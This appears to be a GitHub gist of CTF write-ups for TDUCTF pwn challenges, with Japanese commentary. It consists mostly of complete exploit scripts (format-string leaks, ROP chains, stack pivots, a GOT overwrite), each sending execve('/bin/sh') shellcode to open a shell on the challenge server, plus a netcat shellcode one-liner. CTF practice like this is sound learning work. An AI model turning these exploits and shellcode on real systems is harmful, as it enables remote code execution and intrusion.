Skip to content

Instantly share code, notes, and snippets.

@Ga-ryo
Last active September 1, 2015 07:58
Show Gist options
  • Save Ga-ryo/9415e7b8795715d1a9bd to your computer and use it in GitHub Desktop.
Save Ga-ryo/9415e7b8795715d1a9bd to your computer and use it in GitHub Desktop.
TDUCTFのWriteup(pwn系のみ)
#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib
# --- common funcs ---
def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
"""
Format String Bugの問題
入力文字列をそのままprintfの引数に突っ込んでいるので%pとかのフォーマット文字列が使える.
6番目ってのは手動で調べてそこに入っている文字列を%sでぶっこ抜いて終わり.
"""
#s, f = sock("localhost",4444) # 接続
s, f = sock("crackme.sakura.tductf.org",10773) # 接続
print read_until(f,'here, ')
secret = int(read_until(f),16)
secret += 1
print hex(secret)
print read_until(f,'You:')
raw_input('debug')
#NULLが含まれていると死ぬっぽい(最後1バイトは必ず0x0になっている)ので0x1足してずらして取得してみる(line 36)
buf = p(secret) + '%6$s'
print buf
f.write(buf+'\n')
shell(s)

root@ryota:~/TDUCTF# ./devnull Usage: ./devnull > /dev/null

なんか標準出力を/dev/nullに捨てろと言われる. 文字列比較処理を潰すか,flag出力関数を見るか等色々あると思うけど出力関数をltraceすれば良いかなという感じ.

root@ryota:~/TDUCTF# ltrace ./devnull > /dev/null __libc_start_main(0x4007ec, 1, 0x7fffffffe738, 0x4009b0, 0x4009a0 <unfinished ...> fileno(0x7ffff7dd77a0) = 1 __fxstat(1, 1, 0x7fffffffe5b0) = 0 __xstat(1, "/dev/null", 0x7fffffffe520) = 0 isatty(1) = 0 close(1) = 0 open("/dev/null", 1, 02704) = 1 dup2(1, 1) = 1 printf("TDU{%s}\n", "/dev/null_redirection") = 27 +++ exited (status 0) +++

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib
# --- common funcs ---
def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
# --- main ---
#s, f = sock("localhost",4444) # 接続
s, f = sock("crackme.sakura.tductf.org",10195) # 接続
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
read_plt = 0x80483a0
mprotect_plt = 0x8048390
pop3ret = 0x080485d9
data = 0x80498ac # 適当に空いているアドレス
offset = 16
permission = 0x7
raw_input('debug')
"""
readでshellcodeを適当に空いているアドレスに配置(ASLRが有効か分からんかったので固定アドレスで空いている適当な場所を使った)
実行権が無い(NX bit)のでmprotectで実行権を付与してあげる.
return to shellcode
終わり
"""
read_until(f,':')
buf = 'A'*offset
buf += p(read_plt) + p(pop3ret) + p(0) + p(data) + p(len(shellcode))
buf += p(mprotect_plt) + p(data) + p(0x08049000) + p(0x1000) + p(permission)
f.write(buf)
raw_input('reading shellcode')
f.write(shellcode)
shell(s)

まず実行するとエラーかなんかになるので,渡された共有ライブラリを読み込むようにする. なんか環境変数とかで出来た気がするけど面倒なので当日はlibcの横にポイした.

普通に実行しても何も起きないけどネット繋ぐ系じゃないのでrevして鍵の生成プロセスを読むのかと思いきや,それっぽい関数が. gdbから直接ジャンプしてみる(下の逆汗結果からして引数も無さそうだし大丈夫でしょうという考えで) 400a1b: b8 00 00 00 00 mov $0x0,%eax 400a20: e8 61 fe ff ff callq 400886 &lt;print_flag&gt; gdb-peda$ jump *print_flag Hahaha, there are no flag ;)

フェイクでした. と思ったら共有ライブラリにvとかいう関数があったので怪しくて取り敢えずjumpしたらフラグ出た. 終わり. gdb-peda$ jump *v TDU{L1Br@rY_is_3xECuT4Ble}

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib
# --- common funcs ---
def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
shellcode_addr = 0x8049aa0 + 4
esp = 0x8049aa0
"""
基本的には単純なret2shellcode
shellcodeの置き場はわざわざご丁寧に用意してくれている.(固定アドレス)
leave retで戻りアドレスを単純に書き換えると思いきや
0x080486e7 <+316>: lea esp,[ecx-0x4]
がretの直前にあってespが書き換わる.
ちなみにecxに入る値は
0x080486e3 <+312>: mov ecx,DWORD PTR [ebp-0x4]
と直前にあるのでreturnアドレス書き換えというより,ecx書き換えからpivot風にstackの場所を入れ替えてshellcodeにretする.
+--------------+ <----stackがココに来るように調整(適当に空いているアドレス)
|shellcode_addr|-----+
+--------------+ |(ret命令)
| | <---+
| shellcode |
| |
+---------------
終わり
"""
#s, f = sock("localhost",4444) # 接続
s, f = sock("crackme.sakura.tductf.org",47806) # 接続
shellcode = p(shellcode_addr)
shellcode += (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
raw_input('debug')
read_until(f,'Please tell me about you:')
f.write(shellcode + '\n')
raw_input('debug2')
offset = 38
buf = 'A'*offset
buf += p(esp + 4)
f.write(buf)
shell(s)
#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib,time
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
"""
libcのアドレスは要らない.pltを呼んで終わり
bin_shもsystem関数もわざわざ用意してくれているのでsytem("/bin/sh")呼んで終わり.
"""
bin_sh = 0x80486ad
system_addr = 0x8048410
#HOST, PORT = "localhost", 4444
HOST, PORT = "crackme.sakura.tductf.org", 10170
s, f = sock(HOST, PORT)
print read_until(f,'payload:')
buf = 'A'*16
buf += struct.pack('<I',system_addr)
buf += struct.pack('<I',0xdeadbeef)
buf += struct.pack('<I',bin_sh)
f.write(buf)
shell(s)
#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib
# --- common funcs ---
def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
pop_ebx_ret = 0x08048381
pop_ecx_ret = 0x08048530
pop_edx_ret = 0x0804852e
#0x0804837e: add esp, 0x08 ; pop ebx ; ret ; (2 found)
#pop3retあったけどebp変わってエラー吐いたので代用
pop3_ret = 0x0804837e
read_plt = 0x80483b0
bin_sh = 0x804864a
#適当に空いているアドレスに/bin/shのアドレスとNULLを突っ込んだ配列を作る
bin_sh_and_null = 0x80498f4
int_80 = 0x8048532
fake_ebp = pop3_ret
offset = 16
s, f = sock("localhost",4444) # 接続
"""
#################
#popad使わない版#
#################
buf = 'A'*(offset-4)
buf += p(fake_ebp)
#ret
#11byte入力してeaxを調整しつつecx用の配列を用意 -> そんなことしなくてもecx=0x0で動くらしいね.
buf += p(read_plt) + p(pop3_ret) + p(0) + p(bin_sh_and_null) + p(11)
buf += p(pop_edx_ret) + p(0)
buf += p(pop_ebx_ret) + p(bin_sh)
buf += p(pop_ecx_ret) + p(bin_sh_and_null)
buf += p(int_80)
raw_input('debug')
f.write(buf)
buf = p(bin_sh)
buf += '\0'*(11-len(buf))
raw_input('debug2')
f.write(buf)
shell(s)
"""
#############
#popad使う版#
#############
#ecx=0x0で動くなら全部popadで積める
#EDI、ESI、EBP、EBX、EDX、ECX、EAX
popad = 0x080485b1
buf = 'A'*(offset-4)
buf += p(fake_ebp)
buf += p(popad)
buf += p(fake_ebp)
buf += p(fake_ebp)
buf += p(fake_ebp)
buf += p(bin_sh)
#適当なesp
buf += p(bin_sh)
buf += p(0)
buf += p(0)
buf += p(11)
buf += p(int_80)
raw_input('debug')
f.write(buf)
shell(s)
#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib
# --- common funcs ---
def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
"""
readを呼んでシェルコードを呼びたくてもlibc系の命令は潰されている.
int 80がないので自前でシェルコード用にレジスタ用意しても最後のシステムコールが呼べない.
int 80を作るしか無いけど作るために必要な関数(libcのread,systemcallのread)が潰されている状況.
ガジェットでメモリアドレスにint80等を積んでいくしか無い.
基本的には
mov [任意アドレス], 任意の値
のガジェットがあれば良さそう.rp++で探しても無かった.
0000004D 8900 mov [eax],eax
0000004F C3 ret
00000050 668900 mov [eax],ax
00000053 C3 ret
00000054 8800 mov [eax],al
00000056 C3 ret
00000057 8820 mov [eax],ah
00000059 C3 ret
この辺は用意されている
アドレスと中身が同じという制約付きでならこれで書き込める.
int80 = 0x80cdを含むアドレスが書き込み範囲内に存在する確証はない(0x1000単位でのmmap)
ただ1byte命令であれば必ず置ける(retが書けないからどうせアレ).
毎回成功するexploit書きたかったけど諦めました.0x8000来るまで待ちました.ちゃんちゃん
"""
s, f = sock("localhost",4444) # 接続
read_until(f,'here:')
gadget = int(read_until(f),16)
while '8000' not in hex(gadget):
s, f = sock("localhost",4444) # 接続
read_until(f,'here:')
gadget = int(read_until(f),16)
print 'gadget is in '+hex(gadget)
print 'OK'
read_until(f,'board:')
board = int(read_until(f),16)
read_until(f,'chain:')
#pop eax
buf = p(gadget+0x10)
buf += p(gadget+0xcd)
#mov [eax],ax
buf += p(gadget+0x4d)
#あとはシェルコードと同様のものをROPで作る
buf += p(gadget+0x10)
buf += p(11)
buf += p(gadget+0x12)
buf += p(0)
buf += p(gadget+0x14)
buf += p(0)
buf += p(gadget+0x16)
buf += p(board + 4*12)
buf += p(gadget+0xcd)
buf += p(0x6e69622f)
buf += p(0x68732f2f)
raw_input('debug')
f.write(buf)
shell(s)

なんてことはないret2shellcode シェルコード投げて埋草だけ埋めてあげれば勝手に実行してくれる. root@ryota:~/TDUCTF# (python -c "shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80';shellcode += 'A'*(0x100 - len(shellcode));print shellcode";cat) | nc crackme.sakura.tductf.org 10150

#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, sys, telnetlib
from libformatstr import FormatStr
def sock(remoteip="127.0.0.1", remoteport=1234):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip, remoteport))
return s, s.makefile('rw', bufsize=0)
def read_until(f, delim='\n'):
data = ''
while not data.endswith(delim):
data += f.read(1)
return data
def shell(s):
t = telnetlib.Telnet()
t.sock = s
t.interact()
HOST, PORT = "localhost",4444
s, f = sock(HOST, PORT)
#なんとこれ二回目の入力が固定アドレスじゃないですか奥さん.
#leakする必要がなにもないので助かりました.
shellcode_addr = 0x80491a0
exit_got = 0x804912c
#stage1 overwrite exit.got -> shellcode
read_until(f,'You:')
p = FormatStr()
#無心でlibformatstrに投げる
p[exit_got] = [shellcode_addr]
buf = p.payload(6,start_len=0)
buf += '\n'
f.write(buf)
raw_input('debug')
#stage2 inject shellcode
read_until(f,'You:')
shellcode = (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31"
"\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
)
f.write(shellcode)
shell(s)
@Ga-ryo
Copy link
Author

Ga-ryo commented Aug 31, 2015

rfn.py
はpopadがあったんで使う版と用意してくれたガジェット使う版の両方書いた.
writeでわざわざ['/bin/sh',NULL]の配列作ってるけどecxは単純にNULL突っ込んどいてもOKなのでもっと簡単に書ける.でもeax=11を積むためにwriteか何かで返り値は貰っておく必要がある.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment